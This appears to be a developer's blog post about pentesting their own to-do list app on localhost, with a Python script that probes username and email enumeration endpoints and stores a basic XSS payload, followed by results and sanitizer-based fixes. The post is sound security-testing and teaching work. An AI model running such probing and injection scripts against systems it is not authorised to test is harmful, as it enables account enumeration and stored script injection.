Tuesday, August 26, 2025

Pentesting My To-Do List App: Automating Workflow Attacks

 As part of improving the security of my To-Do List application (built with Spring Boot, MySQL, and React), I performed a pentest to evaluate how the app handles malicious input and authentication workflows. The focus was on automating workflow attacks using Python and requests to simulate a real attacker’s interaction with the backend API.


Step 1: Mapping the Attack Surface

The API endpoints available for my app included:

  • POST /api/auth/signup – create an account

  • POST /api/auth/login – authenticate a user

  • POST /api/todos – create a new to-do item

  • GET /api/todos – fetch a user’s to-dos

  • DELETE /api/todos/{id} – delete a to-do item

  • POST /api/auth/checkuser – validate username availability

  • POST /api/auth/checkemail – validate email availability

From a security perspective, these workflows are interesting because they combine user management and data creation, two common targets for attackers.


Step 2: Automating the Workflow

Instead of manually issuing curl requests, I chained the attack steps with a Python script using the requests library.

The script performed the following sequence:

  1. Attempted to sign up a test account

  2. Checked whether a target username/email existed

  3. Logged in with valid credentials

  4. Created a malicious To-Do item (payload injection)

Example payload:

{ "title": "<script>alert('XSS')</script>" }

Here is the python script I used for this test:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
from requests.auth import HTTPBasicAuth

BASE_URL = "http://localhost:8080"

class TodoWorkflowAttack:
    def __init__(self, username, password, email):
        self.username = username
        self.password = password
        self.email = email
        self.session = requests.Session()

    def signup(self):
        """Register a new user"""
        url = f"{BASE_URL}/api/auth/signup"
        data = {"username": self.username, "password": self.password, "email": self.email}
        resp = self.session.post(url, json=data)

        if resp.status_code == 200:
            print(f"[+] Signup success for {self.username}")
        else:
            print(f"[-] Signup failed: {resp.status_code} {resp.text}")

    def check_user(self):
        """Check if username exists"""
        url = f"{BASE_URL}/api/auth/checkuser"
        data = {"username": self.username}
        resp = self.session.post(url, json=data)

        print(f"[*] Checking user: {self.username}{resp.text}")

    def check_email(self):
        """Check if email exists"""
        url = f"{BASE_URL}/api/auth/checkemail"
        data = {"email": self.email}
        resp = self.session.post(url, json=data)

        print(f"[*] Checking email: {self.email}{resp.text}")

    def login(self):
        """Login with BasicAuth (username:password)"""
        url = f"{BASE_URL}/api/auth/login"
        resp = self.session.post(url, auth=HTTPBasicAuth(self.username, self.password))

        if resp.status_code == 200:
            print(f"[+] Login success as {self.username}")
        else:
            print(f"[-] Login failed: {resp.status_code} {resp.text}")

    def create_malicious_todo(self):
        """Insert a malicious todo item"""
        url = f"{BASE_URL}/api/todos"
        headers = {"Content-Type": "application/json"}
        payload = {"title": "<script>alert('XSS')</script>"}

        resp = self.session.post(url, headers=headers,
                                 auth=HTTPBasicAuth(self.username, self.password),
                                 json=payload)

        if resp.status_code == 200:
            print("[+] Malicious todo created!")
            print(resp.json())
        else:
            print(f"[-] Failed to create todo: {resp.status_code} {resp.text}")

    def run(self):
        self.signup()
        self.check_user()
        self.check_email()
        self.login()
        self.create_malicious_todo()


if __name__ == "__main__":
    attacker = TodoWorkflowAttack("user1", "xblaster", "blaslomibao@yahoo.com")
    attacker.run()

Here is the result:

1
2
3
4
5
6
[-] Signup failed: 409 {"error":"Username taken"}
[*] Checking user: user1 → {"message":"Username is valid"}
[*] Checking email: blaslomibao@yahoo.com → {"error":"Email not found"}
[+] Login success as user1
[+] Malicious todo created!
{'id': 13, 'title': "<script>alert('XSS')</script>", 'completed': False, 'username': 'user1'}

Step 3: Observations

  • Signup failed when the username was already taken (409 Conflict), which is expected.

  • Check user/email endpoints revealed whether usernames or emails existed. This could be abused for user enumeration.

  • Login succeeded with valid credentials.

  • Malicious To-Do was successfully stored in the backend database, though React’s default escaping prevented execution on the frontend.


Step 4: Risks Identified

  1. Stored Malicious Data – even if it doesn’t execute now, it may execute later in a different context (e.g., admin dashboards, exports).

  2. User Enumeration – the checkuser and checkemail endpoints leak whether a user/email exists.

  3. Weak Input Validation – the backend accepts arbitrary input for title without sanitization.


Step 5: Mitigation Recommendations

  • Input Sanitization: sanitize or strip dangerous HTML/JS before saving data to the database (e.g., with OWASP Java HTML Sanitizer).

  • Output Encoding: continue escaping output on the frontend (React already does this safely unless dangerouslySetInnerHTML is used).

  • Generic Error Messages: adjust checkuser/checkemail responses to return generic messages, reducing user enumeration risk.

  • Security Testing Integration: integrate automated scripts like this into CI/CD to catch regressions.

Here is the code implementation to mitigate the issue:

1. Validate / Sanitize Input (Backend)

Before saving user input (title), strip out dangerous HTML/JavaScript.
A popular way in Java is to use OWASP Java HTML Sanitizer:

Maven dependency:

1
2
3
4
5
<dependency>
  <groupId>com.googlecode.owasp-java-html-sanitizer</groupId>
  <artifactId>owasp-java-html-sanitizer</artifactId>
  <version>20220608.1</version>
</dependency>

TodoService Revision:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import org.owasp.html.PolicyFactory;
import org.owasp.html.Sanitizers;

@Service
public class TodoService {

    private final PolicyFactory sanitizer = Sanitizers.FORMATTING.and(Sanitizers.LINKS);

    public TodoResponse createTodo(TodoRequest request, User user) {
        Todo todo = new Todo();
        // Sanitize title before saving
        String cleanTitle = sanitizer.sanitize(request.getTitle());
        todo.setTitle(cleanTitle);
        todo.setCompleted(false);
        todo.setUser(user);
        Todo saved = todoRepository.save(todo);
        return new TodoResponse(saved.getId(), saved.getTitle(), saved.isCompleted(), saved.getUser().getUsername());
    }
}

Conclusion

Automating workflow attacks with Python makes pentesting repeatable and scalable. Even a simple To-Do app can reveal common vulnerabilities like stored XSS and user enumeration.

By combining automation with secure coding practices, I can harden my app against potential attackers while ensuring the workflows remain user-friendly.

No comments:

Post a Comment

Pentesting My To-Do List App: Automating Workflow Attacks

 As part of improving the security of my To-Do List application (built with Spring Boot, MySQL, and React), I performed a pentest to evaluat...